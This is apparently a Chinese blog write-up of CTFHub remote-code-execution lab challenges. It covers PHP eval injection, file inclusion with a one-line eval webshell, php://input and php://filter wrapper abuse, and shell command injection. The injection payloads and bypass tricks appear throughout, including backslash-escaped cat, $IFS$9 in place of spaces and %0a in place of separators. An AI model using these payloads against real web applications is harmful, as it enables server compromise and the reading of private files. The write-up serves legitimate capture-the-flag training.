CTFHub RCE解析

 

昨天大致学了一下命令执行,那我们今天开始实战。在CTFHu里练习一下

1.eval执行

我们先做一下eval执行吧。看见上面是一段php代码,如下:

 <?php
if (isset($_REQUEST['cmd'])) {
    eval($_REQUEST["cmd"]);
} else {
    highlight_file(__FILE__);
}
?> 
//eval函数可以把字符串当作php代码执行
//$_RREQUEST可以获得post或者get上传的参数

先浏览一下目录,看看有没有没关于flag的文件,这样我们就可以构造pyload

?cmd=system("ls ../../../");  //system()函数执行外部程序,并且显示输出

MI`7X7X4BJ)H$A(XXW1S7`Y.png

发现了flag_25103文件,那我们看看里的数据,构造pyload:

?cmd=system("cat ../../../flag_25103");

GEX)E_1%@OL%(V)QUX7M235.png

获得flag

2.文件包含

下面是文件包含,来看一下里面的代码

<?php
error_reporting(0);
if (isset($_GET['file'])) {
    if (!strpos($_GET["file"], "flag")) {
        include $_GET["file"];
    } else {
        echo "Hacker!!!";
    }
} else {
    highlight_file(__FILE__);
}
?>
//i have a <a href="shell.txt">shell</a>, how to use it ? i have a shell, how to use it ?

//strpos()函数查找字符串在另一字符串中第一次出现的位置。
说是如果传给file的参数里包含"flag"的话就输出Hacker!!!,如果没有的话把file里的参数当作php代码执行

看看下面还说了有一个shell.txt,how to use it 。shell里面有一句话木马<?php eval($_REQUEST['ctfhub']);?>,

那我们把这个一句话木马传给file变量。

pyload:?file=shell.txt //上传一句话木马

上传之后,我们就可以进行操作了,还是先找一下有没有关于flag的文件,然后我们再获取里面的数据

ctfhub=system('ls ../../../');//查找目录

UYNKDTL7GTPWEJTD{9RH{NU.png

ctfhub=system('cat ../../../flag');//获取数据

VE1@6RCGPV~L2S@G2S_)%[K.png

获得flag

3.php://input

我们先来了解一下Php://input。

php://input是可以访问请求的原始数据的只读流。就是说可以执行post请求的内容。它是一种伪协议。

而要使用这个伪协议有两个条件:1.allow_url_include是On;2.POST请求

好,我们来看代码

<?php
if (isset($_GET['file'])) {
    if ( substr($_GET["file"], 0, 6) === "php://" ) {
        include($_GET["file"]);
    } else {
        echo "Hacker!!!";
    }
} else {
    highlight_file(__FILE__);
}
?>
<hr>
i don't have shell, how to get flag? <br>
<a href="phpinfo.php">phpinfo</a>
//i don't have shell, how to get flag? 

这次它有没shell了。那我们从其他方面看看,上面代码说如果传给file的值开头不是php://就输出Hacker!!!,如果是的话那就执行include函数。

题目php://input,我们从这方面入手,使用php://input

构造pyload

?file=php://input

然后我们抓一下包

KKHTGB0OHQ0D(MZYUZLS~3X.png

应该是成功了,然后我们发送post请求,构造pyload

RW0(B42{NKQJ$67%XW{6YBJ.png

一样,找到flag文件,获取数据

YWAW7IUJXY_6B}8RP02~35J.png

C%R]`N@K}8T4S{015{]B823.png

3.远程包含

此题与上题方法一样,不再做过多解释,一样是使用php://input

4.读取源代码

我们先说一下php://filter,这个也是伪协议的一种。是一种元封装器, 设计用于数据流打开时的筛选过滤应用。下面是一些参数H]@H_ZZQ_A~9RJI(]E5BKEJ.png

我们还看一下源码

<?php
error_reporting(E_ALL);
if (isset($_GET['file'])) {
    if ( substr($_GET["file"], 0, 6) === "php://" ) {
        include($_GET["file"]);
    } else {
        echo "Hacker!!!";
    }
} else {
    highlight_file(__FILE__);
}
?>
<hr>
i don't have shell, how to get flag? <br>
flag in <code>/flag</code>

这次它直接告诉了你flag在哪里了。那下一步我们直接读取就行了。利用php://filter构造pyload

?filte=php://filter/read=convert.base64-encode/resource=/flag
//以base64编码显示

得到Y3RmaHViezY2NDg3MGEwZjM1OTU1YzE2MzQ4ZGFjOX0K,然后再解码即可

`[0_U@K17{L_B{@SC8H7YHP.png

5.命令注入

7~1[2K%J_CV0[V8VKG]F0HD.png

这告诉我们什么都没过滤,那就直接干吧

先来

127.0.0.0|ls //查看目录

NB8AM8][}S[J$BJ8S}B%%G5.png

第一个php文件有点可疑,那我们先搞搞它吧,

127.0.0.1|cat 150962426819160.php

IRAZ99CYUYQ(8V%@]WHZ(5P.png

啥都没有,那查看源代码

DY`H7%VEGI255)CH%])F%QJ.png

6.过滤cat

这次是过滤了cat,不过,不用担心,还是很简单的

我们可以进行绕过,而这样的方法有很多种,在这里我使用了反斜杠,

我们先来把flag文件找到

127.0.0.1|ls

TDG25WM(PLL)QXN@2EXCPAU.png

然后获取数据

127.0.0.1|c\at flag_39251349022334.php

$$6GYEC2~08A{)9`TMHSIZU.png

得到flag

7.过滤空格

关于过滤空格呢,也是可以绕过的

我们可以使用以下方法进行绕过

<
<>
${IFS}
$IFS$9
%09
{cat,flag}
%20

然后其他操作与以上是一样的

127.0.0.1|ls

`1)}~ESSH]0{%CR2ZG7E8CH.png

然后进行绕过

127.0.0.1|cat$IFS$9flag_271841403229806.php

60PM41GWLI`Q8`GNLHDEKYY.png

获得flag

8.过滤目录分隔符

这个是过滤了目录分隔符“/”

首先我们先还是老样子

127.0.0.1|ls

~3W97{A4[{3Q]OA)470Q9}X.png

127.0.0.1|cd flag_is_here;ls 

[4}9T)1WNSH~3JQAWOQ]8`1.png

然后我们再用

127.0.0.1|cd flag_is_here;cat flag_3426334812644.php //转到flag_is_there里面,并获取里面的数据

得到flag

RPIC8EJKJBZRS4WF2N2XA69.png

9.过滤运算符

这个过滤了运算符|、||、&、&&。可是还有一个;运算符。可以利用它进行注入,用法与|一样,这里不再进行过多解释

10.综合过滤练习

LA%49O@)Z7Q2PPT$4$)`80L.png

看样子是将之前的过滤综合到了一起。

那我们开始了,先查看目录

?ip=127.0.0.1%0als

若所有运算符都被过滤,那我们可以使用%0a来代替

4EX3USH1DZZ7@D{5565}T}V.png

然后进一步查看flag_is_here

?ip=127.0.0.1%0Als$IFS$9f\lag_is_here

0Q7O$WNGZ9G`7B@}FD)1[~U.png

然后获取数据

?ip=127.0.0.1%0Acd$IFS$9f\lag_is_here%0Ac\at$IFS$9fla\g_272101055320691.php

CX1Q5IFZ8UJC_}V()_SEGJL.png

成功!!!

posted @ 2021-01-20 17:31  AW_SOLE  阅读(614)  评论(0编辑  收藏  举报